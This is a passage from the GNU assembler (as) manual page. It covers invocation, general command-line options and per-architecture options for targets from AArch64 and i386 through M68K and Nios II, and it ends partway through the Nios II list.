Target TIC6X options: [-march=arch] [-mbig-endian|-mlittle-endian] [-mdsbt|-mno-dsbt] [-mpid=no|-mpid=near|-mpid=far] [-mpic|-mno-pic]

Target TILE-Gx options: [-m32|-m64][-EB][-EL]

Target Visium options: [**-mtune=**arch]

Target Xtensa options: [–[no-]text-section-literals] [–[no-]auto-litpools] [–[no-]absolute-literals] [–[no-]target-align] [–[no-]longcalls] [–[no-]transform] [–rename-section oldname=newname] [–[no-]trampolines] [–abi-windowed|–abi-call0]

Target Z80 options: [-march=CPU[-EXT][+EXT]] [-local-prefix=PREFIX] [-colonless] [-sdcc] [**-fp-s=FORMAT] [-fp-d=**FORMAT]

DESCRIPTION

GNU as is really a family of assemblers. If you use (or have used) the GNU assembler on one architecture, you should find a fairly similar environment when you use it on another architecture. Each version has much in common with the others, including object file formats, most assembler directives (often called pseudo-ops) and assembler syntax.

as is primarily intended to assemble the output of the GNU C compiler gcc for use by the linker ld. Nevertheless, we’ve tried to make as assemble correctly everything that other assemblers for the same machine would assemble. Any exceptions are documented explicitly. This doesn’t mean as always uses the same syntax as another assembler for the same architecture; for example, we know of several incompatible versions of 680x0 assembly language syntax.

Each time you run as it assembles exactly one source program. The source program is made up of one or more files. (The standard input is also a file.)

You give as a command line that has zero or more input file names. The input files are read (from left file name to right). A command-line argument (in any position) that has no special meaning is taken to be an input file name.

If you give as no file names it attempts to read one input file from the as standard input, which is normally your terminal. You may have to type ctl-D to tell as there is no more program to assemble.

Use if you need to explicitly name the standard input file in your command line.

If the source is empty, as produces a small, empty object file.

as may write warnings and error messages to the standard error file (usually your terminal). This should not happen when a compiler runs as automatically. Warnings report an assumption made so that as could keep assembling a flawed program; errors report a grave problem that stops the assembly.

If you are invoking as via the GNU C compiler, you can use the -Wa option to pass arguments through to the assembler. The assembler arguments must be separated from each other (and the -Wa) by commas. For example:

gcc -c -g -O -Wa,-alh,-L file.c

This passes two options to the assembler: -alh (emit a listing to standard output with high-level and assembly source) and -L (retain local symbols in the symbol table).

Usually you do not need to use this -Wa mechanism, since many compiler command-line options are automatically passed to the assembler by the compiler. (You can call the GNU compiler driver with the -v option to see precisely what options it passes to each compilation pass, including the assembler.)

OPTIONS

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a[cdghilmns]
Turn on listings, in any of a variety of ways:

-ac
omit false conditionals

-ad
omit debugging directives

-ag
include general information, like as version and options passed

-ah
include high-level source

-al
include assembly

-ali
include assembly with ginsn

-am
include macro expansions

-an
omit forms processing

-as
include symbols

=file
set the name of the listing file

You may combine these options; for example, use -aln for assembly listing without forms processing. The =file option, if used, must be the last one. By itself, -a defaults to -ahls.

–alternate
Begin in alternate macro mode.

–compress-debug-sections
Compress DWARF debug sections using zlib with SHF_COMPRESSED from the ELF ABI. The resulting object file may not be compatible with older linkers and object file utilities. Note if compression would make a given section larger then it is not compressed.

–compress-debug-sections=none

–compress-debug-sections=zlib

–compress-debug-sections=zlib-gnu

–compress-debug-sections=zlib-gabi

–compress-debug-sections=zstd

These options control how DWARF debug sections are compressed. –compress-debug-sections=none is equivalent to –nocompress-debug-sections. –compress-debug-sections=zlib and –compress-debug-sections=zlib-gabi are equivalent to –compress-debug-sections. –compress-debug-sections=zlib-gnu compresses DWARF debug sections using the obsoleted zlib-gnu format. The debug sections are renamed to begin with .zdebug. –compress-debug-sections=zstd compresses DWARF debug sections using zstd. Note - if compression would actually make a section larger, then it is not compressed nor renamed.

–nocompress-debug-sections
Do not compress DWARF debug sections. This is usually the default for all targets except the x86/x86_64, but a configure time option can be used to override this.

-D
Enable debugging in target specific backends, if supported. Otherwise ignored. Even if ignored, this option is accepted for script compatibility with calls to other assemblers.

–debug-prefix-map old=new
When assembling files in directory old, record debugging information describing them as in new instead.

–defsym sym=value
Define the symbol sym to be value before assembling the input file. value must be an integer constant. As in C, a leading 0x indicates a hexadecimal value, and a leading 0 indicates an octal value. The value of the symbol can be overridden inside a source file via the use of a .set pseudo-op.

–dump-config
Displays how the assembler is configured and then exits.

–elf-stt-common=no

–elf-stt-common=yes

These options control whether the ELF assembler should generate common symbols with the STT_COMMON type. The default can be controlled by a configure option –enable-elf-stt-common.

–emulation=name
If the assembler is configured to support multiple different target configurations then this option can be used to select the desired form.

-f
“fast”—skip whitespace and comment preprocessing (assume source is compiler output).

-g

–gen-debug

Generate debugging information for each assembler source line using whichever debug format is preferred by the target. This currently means either STABS, ECOFF or DWARF2. When the debug format is DWARF then a .debug_info and .debug_line section is only emitted when the assembly file doesn’t generate one itself.

–gstabs
Generate stabs debugging information for each assembler line. This may help debugging assembler code, if the debugger can handle it.

–gstabs+
Generate stabs debugging information for each assembler line, with GNU extensions that probably only gdb can handle, and that could make other debuggers crash or refuse to read your program. This may help debugging assembler code. Currently the only GNU extension is the location of the current working directory at assembling time.

–gdwarf-2
Generate DWARF2 debugging information for each assembler line. This may help debugging assembler code, if the debugger can handle it. Note—this option is only supported by some targets, not all of them.

–gdwarf-3
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 3 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-4
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 4 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-5
This option is the same as the –gdwarf-2 option, except that it allows for the possibility of the generation of extra debug information as per version 5 of the DWARF specification. Note - enabling this option does not guarantee the generation of any extra information, the choice to do so is on a per target basis.

–gdwarf-sections
Instead of creating a .debug_line section, create a series of .debug_line.foo sections where foo is the name of the corresponding code section. For example a code section called .text.func will have its dwarf line number information placed into a section called .debug_line.text.func. If the code section is just called .text then debug line section will still be called just .debug_line without any suffix.

–gdwarf-cie-version=version
Control which version of DWARF Common Information Entries (CIEs) are produced. When this flag is not specified the default is version 1, though some targets can modify this default. Other possible values for version are 3 or 4.

–generate-missing-build-notes=yes

–generate-missing-build-notes=no

These options control whether the ELF assembler should generate GNU Build attribute notes if none are present in the input sources. The default can be controlled by the –enable-generate-build-notes configure option.

–gsframe

–gsframe

Create .sframe section from CFI directives.

–hash-size N
Ignored. Supported for command line compatibility with other assemblers.

–help
Print a summary of the command-line options and exit.

–target-help
Print a summary of all target specific options and exit.

-I dir
Add directory dir to the search list for .include directives.

-J
Don’t warn about signed overflow.

-K
Issue warnings when difference tables altered for long displacements.

-L

–keep-locals

Keep (in the symbol table) local symbols. These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.

–listing-lhs-width=number
Set the maximum width, in words, of the output data column for an assembler listing to number.

–listing-lhs-width2=number
Set the maximum width, in words, of the output data column for continuation lines in an assembler listing to number.

–listing-rhs-width=number
Set the maximum width of an input source line, as displayed in a listing, to number bytes.

–listing-cont-lines=number
Set the maximum number of lines printed in a listing for a single line of input to number + 1.

–multibyte-handling=allow

–multibyte-handling=warn

–multibyte-handling=warn-sym-only

–multibyte-handling=warn_sym_only

Controls how the assembler handles multibyte characters in the input. The default (which can be restored by using the allow argument) is to allow such characters without complaint. Using the warn argument will make the assembler generate a warning message whenever any multibyte character is encountered. Using the warn-sym-only argument will only cause a warning to be generated when a symbol is defined with a name that contains multibyte characters. (References to undefined symbols will not generate a warning).

–no-pad-sections
Stop the assembler for padding the ends of output sections to the alignment of that section. The default is to pad the sections, but this can waste space which might be needed on targets which have tight memory constraints.

-o objfile
Name the object-file output from as objfile.

-R
Fold the data section into the text section.

–reduce-memory-overheads
Ignored. Supported for compatibility with tools that pass the same option to both the assembler and the linker.

–scfi=experimental
This option controls whether the assembler should synthesize CFI for hand-written input. If the input already contains some synthesizable CFI directives, the assembler ignores them and emits a warning. Note that --scfi=experimental is not intended to be used for compiler-generated code, including inline assembly. This experimental support is work in progress. Only System V AMD64 ABI is supported. Each input function in assembly must begin with the .type directive, and should ideally be closed off using a .size directive. When using SCFI, each .type directive prompts GAS to start a new FDE (a.k.a., Function Descriptor Entry). This implies that with each .type directive, a previous block of instructions, if any, is finalised as a distinct FDE.

–sectname-subst
Honor substitution sequences in section names.

–size-check=error

–size-check=warning

Issue an error or warning for invalid ELF .size directive.

–statistics
Print the maximum space (in bytes) and total time (in seconds) used by assembly.

–strip-local-absolute
Remove local absolute symbols from the outgoing symbol table.

-v

-version

Print the as version.

–version
Print the as version and exit.

-W

–no-warn

Suppress warning messages.

–warn
Don’t suppress warning messages or treat them as errors.

–fatal-warnings
Treat warnings as errors.

-w
Ignored.

-x
Ignored.

-Z
Generate an object file even after errors.

– | files …
Standard input, or source files to assemble.

The following options are available when as is configured for the 64-bit mode of the ARM Architecture (AArch64).

-EB
This option specifies that the output generated by the assembler should be marked as being encoded for a big-endian processor.

-EL
This option specifies that the output generated by the assembler should be marked as being encoded for a little-endian processor.

-mabi=abi
Specify which ABI the source code uses. The recognized arguments are: ilp32 and lp64, which decides the generated object file in ELF32 and ELF64 format respectively. The default is lp64.

-mcpu=processor[+extension…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: cortex-a34, cortex-a35, cortex-a53, cortex-a55, cortex-a57, cortex-a65, cortex-a65ae, cortex-a72, cortex-a73, cortex-a75, cortex-a76, cortex-a76ae, cortex-a77, cortex-a78, cortex-a78ae, cortex-a78c, cortex-a510, cortex-a520, cortex-a710, cortex-a720, ares, exynos-m1, falkor, neoverse-n1, neoverse-n2, neoverse-e1, neoverse-v1, qdf24xx, saphira, thunderx, vulcan, xgene1 xgene2, cortex-r82, cortex-x1, cortex-x2, cortex-x3, and cortex-x4. The special name all may be used to allow the assembler to accept instructions valid for any supported processor, including all optional extensions. In addition to the basic instruction set, the assembler can be told to accept, or restrict, various extension mnemonics that extend the processor. If some implementations of a particular processor can have an extension, then then those extensions are automatically enabled. Consequently, you will not normally have to specify any additional extensions.

-march=architecture[+extension…]
This option specifies the target architecture. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target architecture. The following architecture names are recognized: armv8-a, armv8.1-a, armv8.2-a, armv8.3-a, armv8.4-a armv8.5-a, armv8.6-a, armv8.7-a, armv8.8-a, armv8.9-a, armv8-r, armv9-a, armv9.1-a, armv9.2-a, armv9.3-a, armv9.4-a and armv9.5-a. If both -mcpu and -march are specified, the assembler will use the setting for -mcpu. If neither are specified, the assembler will default to -mcpu=all. The architecture option can be extended with the same instruction set extension options as the -mcpu option. Unlike -mcpu, extensions are not always enabled by default.

-mverbose-error
This option enables verbose error messages for AArch64 gas. This option is enabled by default.

-mno-verbose-error
This option disables verbose error messages in AArch64 gas.

The following options are available when as is configured for an Alpha processor.

-mcpu
This option specifies the target processor. If an attempt is made to assemble an instruction which will not execute on the target processor, the assembler may either expand the instruction as a macro or issue an error message. This option is equivalent to the .arch directive. The following processor names are recognized: 21064, 21064a, 21066, 21068, 21164, 21164a, 21164pc, 21264, 21264a, 21264b, ev4, ev5, lca45, ev5, ev56, pca56, ev6, ev67, ev68. The special name all may be used to allow the assembler to accept instructions valid for any Alpha processor. In order to support existing practice in OSF/1 with respect to .arch, and existing practice within MILO (the Linux ARC bootloader), the numbered processor names (e.g. 21064) enable the processor-specific PALcode instructions, while the “electro-vlasic” names (e.g. ev4) do not.

-mdebug

-no-mdebug

Enables or disables the generation of .mdebug encapsulation for stabs directives and procedure descriptors. The default is to automatically enable .mdebug when the first stabs directive is seen.

-relax
This option forces all relocations to be put into the object file, instead of saving space and resolving some relocations at assembly time. Note that this option does not propagate all symbol arithmetic into the object file, because not all symbol arithmetic can be represented. However, the option can still be useful in specific applications.

-replace

-noreplace

Enables or disables the optimization of procedure calls, both at assemblage and at link time. These options are only available for VMS targets and -replace is the default. See section 1.4.1 of the OpenVMS Linker Utility Manual.

-g
This option is used when the compiler generates debug information. When gcc is using mips-tfile to generate debug information for ECOFF, local labels must be passed through to the object file. Otherwise this option has no effect.

-Gsize
A local common symbol larger than size is placed in .bss, while smaller symbols are placed in .sbss.

-F

-32addr

These options are ignored for backward compatibility.

The following options are available when as is configured for an ARC processor.

-mcpu=cpu
This option selects the core processor variant.

-EB | -EL
Select either big-endian (-EB) or little-endian (-EL) output.

-mcode-density
Enable Code Density extension instructions.

The following options are available when as is configured for the ARM processor family.

-mcpu=processor[+extension…]
Specify which ARM processor variant is the target.

-march=architecture[+extension…]
Specify which ARM architecture variant is used by the target.

-mfpu=floating-point-format
Select which Floating Point architecture is the target.

-mfloat-abi=abi
Select which floating point ABI is in use.

-mthumb
Enable Thumb only instruction decoding.

-mapcs-32 | -mapcs-26 | -mapcs-float | -mapcs-reentrant
Select which procedure calling convention is in use.

-EB | -EL
Select either big-endian (-EB) or little-endian (-EL) output.

-mthumb-interwork
Specify that the code has been generated with interworking between Thumb and ARM code in mind.

-mccs
Turns on CodeComposer Studio assembly syntax compatibility mode.

-k
Specify that PIC code has been generated.

The following options are available when as is configured for the Blackfin processor family.

-mcpu=processor[-sirevision]
This option specifies the target processor. The optional sirevision is not used in assembler. It’s here such that GCC can easily pass down its -mcpu= option. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: bf504, bf506, bf512, bf514, bf516, bf518, bf522, bf523, bf524, bf525, bf526, bf527, bf531, bf532, bf533, bf534, bf535 (not implemented yet), bf536, bf537, bf538, bf539, bf542, bf542m, bf544, bf544m, bf547, bf547m, bf548, bf548m, bf549, bf549m, bf561, and bf592.

-mfdpic
Assemble for the FDPIC ABI.

-mno-fdpic

-mnopic

Disable -mfdpic.

The following options are available when as is configured for the Linux kernel BPF processor family.

@chapter BPF Dependent Features

BPF Options

-EB
This option specifies that the assembler should emit big-endian eBPF.

-EL
This option specifies that the assembler should emit little-endian eBPF.

-mdialect=dialect
This option specifies the assembly language dialect to recognize while assembling. The assembler supports normal and pseudoc.

-misa-spec=spec
This option specifies the version of the BPF instruction set to use when assembling. The BPF ISA versions supported are v1 v2, v3 and v4. The value xbpf can be specified to recognize extra instructions that are used by GCC for testing purposes. But beware this is not valid BPF.

-mno-relax
This option tells the assembler to not relax instructions.

Note that if no endianness option is specified in the command line, the host endianness is used. See the info pages for documentation of the CRIS-specific options.

The following options are available when as is configured for the C-SKY processor family.

-march=archname
Assemble for architecture archname. The –help option lists valid values for archname.

-mcpu=cpuname
Assemble for architecture cpuname. The –help option lists valid values for cpuname.

-EL

-mlittle-endian

Generate little-endian output.

-EB

-mbig-endian

Generate big-endian output.

-fpic

-pic

Generate position-independent code.

-mljump

-mno-ljump

Enable/disable transformation of the short branch instructions jbf, jbt, and jbr to jmpi. This option is for V2 processors only. It is ignored on CK801 and CK802 targets, which do not support the jmpi instruction, and is enabled by default for other processors.

-mbranch-stub

-mno-branch-stub

Pass through R_CKCORE_PCREL_IMM26BY2 relocations for bsr instructions to the linker. This option is only available for bare-metal C-SKY V2 ELF targets, where it is enabled by default. It cannot be used in code that will be dynamically linked against shared libraries.

-force2bsr

-mforce2bsr

-no-force2bsr

-mno-force2bsr

Enable/disable transformation of jbsr instructions to bsr. This option is always enabled (and -mno-force2bsr is ignored) for CK801/CK802 targets. It is also always enabled when -mbranch-stub is in effect.

-jsri2bsr

-mjsri2bsr

-no-jsri2bsr

-mno-jsri2bsr

Enable/disable transformation of jsri instructions to bsr. This option is enabled by default.

-mnolrw

-mno-lrw

Enable/disable transformation of lrw instructions into a movih/ori pair.

-melrw

-mno-elrw

Enable/disable extended lrw instructions. This option is enabled by default for CK800-series processors.

-mlaf

-mliterals-after-func

-mno-laf

-mno-literals-after-func

Enable/disable placement of literal pools after each function.

-mlabr

-mliterals-after-br

-mno-labr

-mnoliterals-after-br

Enable/disable placement of literal pools after unconditional branches. This option is enabled by default.

-mistack

-mno-istack

Enable/disable interrupt stack instructions. This option is enabled by default on CK801, CK802, and CK802 processors.

The following options explicitly enable certain optional instructions. These features are also enabled implicitly by using -mcpu= to specify a processor that supports it.

-mhard-float
Enable hard float instructions.

-mmp
Enable multiprocessor instructions.

-mcp
Enable coprocessor instructions.

-mcache
Enable cache prefetch instruction.

-msecurity
Enable C-SKY security instructions.

-mtrust
Enable C-SKY trust instructions.

-mdsp
Enable DSP instructions.

-medsp
Enable enhanced DSP instructions.

-mvdsp
Enable vector DSP instructions.

The following options are available when as is configured for an Epiphany processor.

-mepiphany
Specifies that the both 32 and 16 bit instructions are allowed. This is the default behavior.

-mepiphany16
Restricts the permitted instructions to just the 16 bit set.

The following options are available when as is configured for an H8/300 processor. @chapter H8/300 Dependent Features

Options

The Renesas H8/300 version of as has one machine-dependent option:

-h-tick-hex
Support H'00 style hex constants in addition to 0x00 style.

-mach=name
Sets the H8300 machine variant. The following machine names are recognised: h8300h, h8300hn, h8300s, h8300sn, h8300sx and h8300sxn.

The following options are available when as is configured for an i386 processor.

–32 | –x32 | –64
Select the word size, either 32 bits or 64 bits. –32 implies Intel i386 architecture, while –x32 and –64 imply AMD x86-64 architecture with 32-bit or 64-bit word-size respectively. These options are only available with the ELF object file format, and require that the necessary BFD support has been included (on a 32-bit platform you have to add –enable-64-bit-bfd to configure enable 64-bit usage and use x86-64 as target platform).

-n
By default, x86 GAS replaces multiple nop instructions used for alignment within code sections with multi-byte nop instructions such as leal 0(%esi,1),%esi. This switch disables the optimization if a single byte nop (0x90) is explicitly specified as the fill byte for alignment.

–divide
On SVR4-derived platforms, the character / is treated as a comment character, which means that it cannot be used in expressions. The –divide option turns / into a normal character. This does not disable / at the beginning of a line starting a comment, or affect using # for starting a comment.

-march=CPU[+EXTENSION…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: i8086, i186, i286, i386, i486, i586, i686, pentium, pentiumpro, pentiumii, pentiumiii, pentium4, prescott, nocona, core, core2, corei7, iamcu, k6, k6_2, athlon, opteron, k8, amdfam10, bdver1, bdver2, bdver3, bdver4, znver1, znver2, znver3, znver4, znver5, btver1, btver2, generic32 and generic64. In addition to the basic instruction set, the assembler can be told to accept various extension mnemonics. For example, -march=i686+sse4+vmx extends i686 with sse4 and vmx. The following extensions are currently supported: 8087, 287, 387, 687, cmov, fxsr, mmx, sse, sse2, sse3, sse4a, ssse3, sse4.1, sse4.2, sse4, avx, avx2, lahf_sahf, monitor, adx, rdseed, prfchw, smap, mpx, sha, rdpid, ptwrite, cet, gfni, vaes, vpclmulqdq, prefetchwt1, clflushopt, se1, clwb, movdiri, movdir64b, enqcmd, serialize, tsxldtrk, kl, widekl, hreset, avx512f, avx512cd, avx512er, avx512pf, avx512vl, avx512bw, avx512dq, avx512ifma, avx512vbmi, avx512_4fmaps, avx512_4vnniw, avx512_vpopcntdq, avx512_vbmi2, avx512_vnni, avx512_bitalg, avx512_vp2intersect, tdx, avx512_bf16, avx_vnni, avx512_fp16, prefetchi, avx_ifma, avx_vnni_int8, cmpccxadd, wrmsrns, msrlist, avx_ne_convert, rao_int, fred, lkgs, avx_vnni_int16, sha512, sm3, sm4, pbndkb, avx10.1, avx10.1/512, avx10.1/256, avx10.1/128, user_msr, apx_f, amx_int8, amx_bf16, amx_fp16, amx_complex, amx_tile, vmx, vmfunc, smx, xsave, xsaveopt, xsavec, xsaves, aes, pclmul, fsgsbase, rdrnd, f16c, bmi2, fma, movbe, ept, lzcnt, popcnt, hle, rtm, tsx, invpcid, clflush, mwaitx, clzero, wbnoinvd, pconfig, waitpkg, uintr, cldemote, rdpru, mcommit, sev_es, lwp, fma4, xop, cx16, syscall, rdtscp, 3dnow, 3dnowa, sse4a, sse5, snp, invlpgb, tlbsync, svme and padlock. Note that these extension mnemonics can be prefixed with no to revoke the respective (and any dependent) functionality. Note further that the suffixes permitted on -march=avx10.<N> enforce a vector length restriction, i.e. despite these otherwise being “enabling” options, using these suffixes will disable all insns with wider vector or mask register operands. When the .arch directive is used with -march, the .arch directive will take precedent.

-mtune=CPU
This option specifies a processor to optimize for. When used in conjunction with the -march option, only instructions of the processor specified by the -march option will be generated. Valid CPU values are identical to the processor list of **-march=**CPU.

-moperand-check=none

-moperand-check=warning

-moperand-check=error

These options control if the assembler should check certain instruction operands or operand combinations. An example instructions where operand size cannot be inferred from its operands and also hasn’t been specified by way of an instruction suffix. **-moperand-check=**none will make the assembler not perform these checks. **-moperand-check=**warning will make the assembler issue a warning when respective checks fail, which is the default. **-moperand-check=**error will make the assembler issue an error when respective checks fail.

-msse2avx
This option specifies that the assembler should encode SSE instructions with VEX prefix, requiring AVX to be available. SSE instructions using extended GPRs will be encoded with EVEX prefix, requiring AVX512 or AVX10 to be available.

-muse-unaligned-vector-move
This option specifies that the assembler should encode aligned vector move as unaligned vector move.

-msse-check=none

-msse-check=warning

-msse-check=error

These options control if the assembler should check SSE instructions. **-msse-check=**none will make the assembler not to check SSE instructions, which is the default. **-msse-check=**warning will make the assembler issue a warning for any SSE instruction. **-msse-check=**error will make the assembler issue an error for any SSE instruction.

-mavxscalar=128

-mavxscalar=256

These options control how the assembler should encode scalar AVX instructions. **-mavxscalar=**128 will encode scalar AVX instructions with 128bit vector length, which is the default. **-mavxscalar=**256 will encode scalar AVX instructions with 256bit vector length. WARNING: Don’t use this for production code - due to CPU errata the resulting code may not work on certain models.

-mvexwig=0

-mvexwig=1

These options control how the assembler should encode VEX.W-ignored (WIG) VEX instructions. **-mvexwig=**0 will encode WIG VEX instructions with vex.w = 0, which is the default. **-mvexwig=**1 will encode WIG EVEX instructions with vex.w = 1. WARNING: Don’t use this for production code - due to CPU errata the resulting code may not work on certain models.

-mevexlig=128

-mevexlig=256

-mevexlig=512

These options control how the assembler should encode length-ignored (LIG) EVEX instructions. **-mevexlig=**128 will encode LIG EVEX instructions with 128bit vector length, which is the default. **-mevexlig=**256 and **-mevexlig=**512 will encode LIG EVEX instructions with 256bit and 512bit vector length, respectively.

-mevexwig=0

-mevexwig=1

These options control how the assembler should encode w-ignored (WIG) EVEX instructions. **-mevexwig=**0 will encode WIG EVEX instructions with evex.w = 0, which is the default. **-mevexwig=**1 will encode WIG EVEX instructions with evex.w = 1.

-mmnemonic=att

-mmnemonic=intel

This option specifies instruction mnemonic for matching instructions. The .att_mnemonic and .intel_mnemonic directives will take precedent.

-msyntax=att

-msyntax=intel

This option specifies instruction syntax when processing instructions. The .att_syntax and .intel_syntax directives will take precedent.

-mnaked-reg
This option specifies that registers don’t require a % prefix. The .att_syntax and .intel_syntax directives will take precedent.

-madd-bnd-prefix
This option forces the assembler to add BND prefix to all branches, even if such prefix was not explicitly specified in the source code.

-mno-shared
On ELF target, the assembler normally optimizes out non-PLT relocations against defined non-weak global branch targets with default visibility. The -mshared option tells the assembler to generate code which may go into a shared library where all non-weak global branch targets with default visibility can be preempted. The resulting code is slightly bigger. This option only affects the handling of branch instructions.

-mbig-obj
On PE/COFF target this option forces the use of big object file format, which allows more than 32768 sections.

-momit-lock-prefix=no

-momit-lock-prefix=yes

These options control how the assembler should encode lock prefix. This option is intended as a workaround for processors, that fail on lock prefix. This option can only be safely used with single-core, single-thread computers **-momit-lock-prefix=**yes will omit all lock prefixes. **-momit-lock-prefix=**no will encode lock prefix as usual, which is the default.

-mfence-as-lock-add=no

-mfence-as-lock-add=yes

These options control how the assembler should encode lfence, mfence and sfence. **-mfence-as-lock-add=**yes will encode lfence, mfence and sfence as lock addl $0x0, (%rsp) in 64-bit mode and lock addl $0x0, (%esp) in 32-bit mode. **-mfence-as-lock-add=**no will encode lfence, mfence and sfence as usual, which is the default.

-mrelax-relocations=no

-mrelax-relocations=yes

These options control whether the assembler should generate relax relocations, R_386_GOT32X, in 32-bit mode, or R_X86_64_GOTPCRELX and R_X86_64_REX_GOTPCRELX, in 64-bit mode. **-mrelax-relocations=**yes will generate relax relocations. **-mrelax-relocations=**no will not generate relax relocations. The default can be controlled by a configure option –enable-x86-relax-relocations.

-malign-branch-boundary=NUM
This option controls how the assembler should align branches with segment prefixes or NOP. NUM must be a power of 2. It should be 0 or no less than 16. Branches will be aligned within NUM byte boundary. -malign-branch-boundary=0, which is the default, doesn’t align branches.

-malign-branch=TYPE[+TYPE…]
This option specifies types of branches to align. TYPE is combination of jcc, which aligns conditional jumps, fused, which aligns fused conditional jumps, jmp, which aligns unconditional jumps, call which aligns calls, ret, which aligns rets, indirect, which aligns indirect jumps and calls. The default is -malign-branch=jcc+fused+jmp.

-malign-branch-prefix-size=NUM
This option specifies the maximum number of prefixes on an instruction to align branches. NUM should be between 0 and 5. The default NUM is 5.

-mbranches-within-32B-boundaries
This option aligns conditional jumps, fused conditional jumps and unconditional jumps within 32 byte boundary with up to 5 segment prefixes on an instruction. It is equivalent to -malign-branch-boundary=32 -malign-branch=jcc+fused+jmp -malign-branch-prefix-size=5. The default doesn’t align branches.

-mlfence-after-load=no

-mlfence-after-load=yes

These options control whether the assembler should generate lfence after load instructions. **-mlfence-after-load=**yes will generate lfence. **-mlfence-after-load=**no will not generate lfence, which is the default.

-mlfence-before-indirect-branch=none

-mlfence-before-indirect-branch=all

-mlfence-before-indirect-branch=register

-mlfence-before-indirect-branch=memory

These options control whether the assembler should generate lfence before indirect near branch instructions. **-mlfence-before-indirect-branch=**all will generate lfence before indirect near branch via register and issue a warning before indirect near branch via memory. It also implicitly sets **-mlfence-before-ret=**shl when there’s no explicit -mlfence-before-ret=. **-mlfence-before-indirect-branch=**register will generate lfence before indirect near branch via register. **-mlfence-before-indirect-branch=**memory will issue a warning before indirect near branch via memory. **-mlfence-before-indirect-branch=**none will not generate lfence nor issue warning, which is the default. Note that lfence won’t be generated before indirect near branch via register with **-mlfence-after-load=**yes since lfence will be generated after loading branch target register.

-mlfence-before-ret=none

-mlfence-before-ret=shl

-mlfence-before-ret=or

-mlfence-before-ret=yes

-mlfence-before-ret=not

These options control whether the assembler should generate lfence before ret. **-mlfence-before-ret=**or will generate generate or instruction with lfence. **-mlfence-before-ret=**shl/yes will generate shl instruction with lfence. **-mlfence-before-ret=**not will generate not instruction with lfence. **-mlfence-before-ret=**none will not generate lfence, which is the default.

-mx86-used-note=no

-mx86-used-note=yes

These options control whether the assembler should generate GNU_PROPERTY_X86_ISA_1_USED and GNU_PROPERTY_X86_FEATURE_2_USED GNU property notes. The default can be controlled by the –enable-x86-used-note configure option.

-mevexrcig=rne

-mevexrcig=rd

-mevexrcig=ru

-mevexrcig=rz

These options control how the assembler should encode SAE-only EVEX instructions. **-mevexrcig=**rne will encode RC bits of EVEX instruction with 00, which is the default. **-mevexrcig=**rd, **-mevexrcig=**ru and **-mevexrcig=**rz will encode SAE-only EVEX instructions with 01, 10 and 11 RC bits, respectively.

-mamd64

-mintel64

This option specifies that the assembler should accept only AMD64 or Intel64 ISA in 64-bit mode. The default is to accept common, Intel64 only and AMD64 ISAs.

-O0 | -O | -O1 | -O2 | -Os
Optimize instruction encoding with smaller instruction size. -O and -O1 encode 64-bit register load instructions with 64-bit immediate as 32-bit register load instructions with 31-bit or 32-bits immediates, encode 64-bit register clearing instructions with 32-bit register clearing instructions, encode 256-bit/512-bit VEX/EVEX vector register clearing instructions with 128-bit VEX vector register clearing instructions, encode 128-bit/256-bit EVEX vector register load/store instructions with VEX vector register load/store instructions, and encode 128-bit/256-bit EVEX packed integer logical instructions with 128-bit/256-bit VEX packed integer logical. -O2 includes -O1 optimization plus encodes 256-bit/512-bit EVEX vector register clearing instructions with 128-bit EVEX vector register clearing instructions. In 64-bit mode VEX encoded instructions with commutative source operands will also have their source operands swapped if this allows using the 2-byte VEX prefix form instead of the 3-byte one. Certain forms of AND as well as OR with the same (register) operand specified twice will also be changed to TEST. -Os includes -O2 optimization plus encodes 16-bit, 32-bit and 64-bit register tests with immediate as 8-bit register test with immediate. -O0 turns off this optimization.

The following options are available when as is configured for the Ubicom IP2K series.

-mip2022ext
Specifies that the extended IP2022 instructions are allowed.

-mip2022
Restores the default behaviour, which restricts the permitted instructions to just the basic IP2022 ones.

The following options are available when as is configured for the Renesas M32C and M16C processors.

-m32c
Assemble M32C instructions.

-m16c
Assemble M16C instructions (the default).

-relax
Enable support for link-time relaxations.

-h-tick-hex
Support H'00 style hex constants in addition to 0x00 style.

The following options are available when as is configured for the Renesas M32R (formerly Mitsubishi M32R) series.

–m32rx
Specify which processor in the M32R family is the target. The default is normally the M32R, but this option changes it to the M32RX.

–warn-explicit-parallel-conflicts or –Wp
Produce warning messages when questionable parallel constructs are encountered.

–no-warn-explicit-parallel-conflicts or –Wnp
Do not produce warning messages when questionable parallel constructs are encountered.

The following options are available when as is configured for the Motorola 68000 series.

-l
Shorten references to undefined symbols, to one word instead of two.

-m68000 | -m68008 | -m68010 | -m68020 | -m68030

| -m68040 | -m68060 | -m68302 | -m68331 | -m68332

| -m68333 | -m68340 | -mcpu32 | -m5200

Specify what processor in the 68000 family is the target. The default is normally the 68020, but this can be changed at configuration time.

-m68881 | -m68882 | -mno-68881 | -mno-68882
The target machine does (or does not) have a floating-point coprocessor. The default is to assume a coprocessor for 68020, 68030, and cpu32. Although the basic 68000 is not compatible with the 68881, a combination of the two can be specified, since it’s possible to do emulation of the coprocessor instructions with the main processor.

-m68851 | -mno-68851
The target machine does (or does not) have a memory-management unit coprocessor. The default is to assume an MMU for 68020 and up.

The following options are available when as is configured for an Altera Nios II processor.

-relax-section
Replace identified out-of-range branches with PC-relative jmp sequences when possible. The generated code sequences are suitable for use in position-independent code, but there is a practical limit on the extended branch range because of the length of the sequences. This option is the default.

-relax-all
Replace branch instructions not determinable to be in range and all call instructions with jmp and callr sequences (respectively). This option generates absolute relocations against the target symbols and is not appropriate for position-independent code.

-no-relax
